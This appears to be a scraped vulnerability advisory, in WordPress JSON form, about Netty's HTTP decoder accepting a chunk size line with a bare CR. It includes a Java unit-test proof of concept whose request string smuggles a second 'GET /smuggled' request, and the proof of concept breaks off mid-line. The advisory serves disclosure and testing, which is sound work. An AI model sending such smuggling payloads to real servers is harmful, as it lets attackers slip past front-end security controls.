### Summary
\nNetty skips strict chunk size line validation when the line has no chunk extension (`;`), so a chunk size line containing an embedded bare CR (e.g. `0rX`) is accepted instead of rejected, enabling HTTP request smuggling.<\/p>\n
### Details
\n`io.netty.handler.codec.http.HttpObjectDecoder#checkChunkExtensions` only runs the strict validator `HttpChunkLineValidatingByteProcessor` when a `;` is present:<\/p>\n
“`java
\n int extensionsStart = line.bytesBefore((byte) ‘;’);
\n if (extensionsStart == -1) {
\n return;
\n }
\n“`<\/p>\n
According to RFC 9112 https:\/\/datatracker.ietf.org\/doc\/html\/rfc9112#appendix-A<\/p>\n
`chunk-size = 1*HEXDIG`<\/p>\n
### PoC<\/p>\n
“`java
\n@Test
\npublic void test() {
\n String requestStr = “POST \/ HTTP\/1.1rn” +
\n “Host: localhostrn” +
\n “Transfer-Encoding: chunkedrnrn” +
\n “0rXrn” +
\n “rn” +
\n “GET \/smuggled HTTP\/1.1rn” +
\n “Host: localhostrn” +
\n “Content-Length: 0rn” +
\n “rn”;<\/p>\n
EmbeddedChannel channel = new EmbeddedChannel(new HttpRequestDecoder());
\n assertTrue(channel.writeInbound(Unpooled.copiedBuffer(requestStr, Ch<\/p>\n","protected":false},"excerpt":{"rendered":"
### Summary
\nNetty skips strict chunk size line validation when the line has no chunk extension (`;`), so a chunk size line containing an embedded bare CR (e.g. `0rX`) is accepted instead of rejected<\/p>\n","protected":false},"template":"","meta":[],"categories":[],"tags":[],"class_list":["post-26441","vuln","type-vuln","status-publish","hentry"],"_links":{"self":[{"href":"https:\/\/www.54iter.cn\/index.php?rest_route=\/wp\/v2\/vuln\/26441","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/www.54iter.cn\/index.php?rest_route=\/wp\/v2\/vuln"}],"about":[{"href":"https:\/\/www.54iter.cn\/index.php?rest_route=\/wp\/v2\/types\/vuln"}],"wp:attachment":[{"href":"https:\/\/www.54iter.cn\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=26441"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.54iter.cn\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=26441"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.54iter.cn\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=26441"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}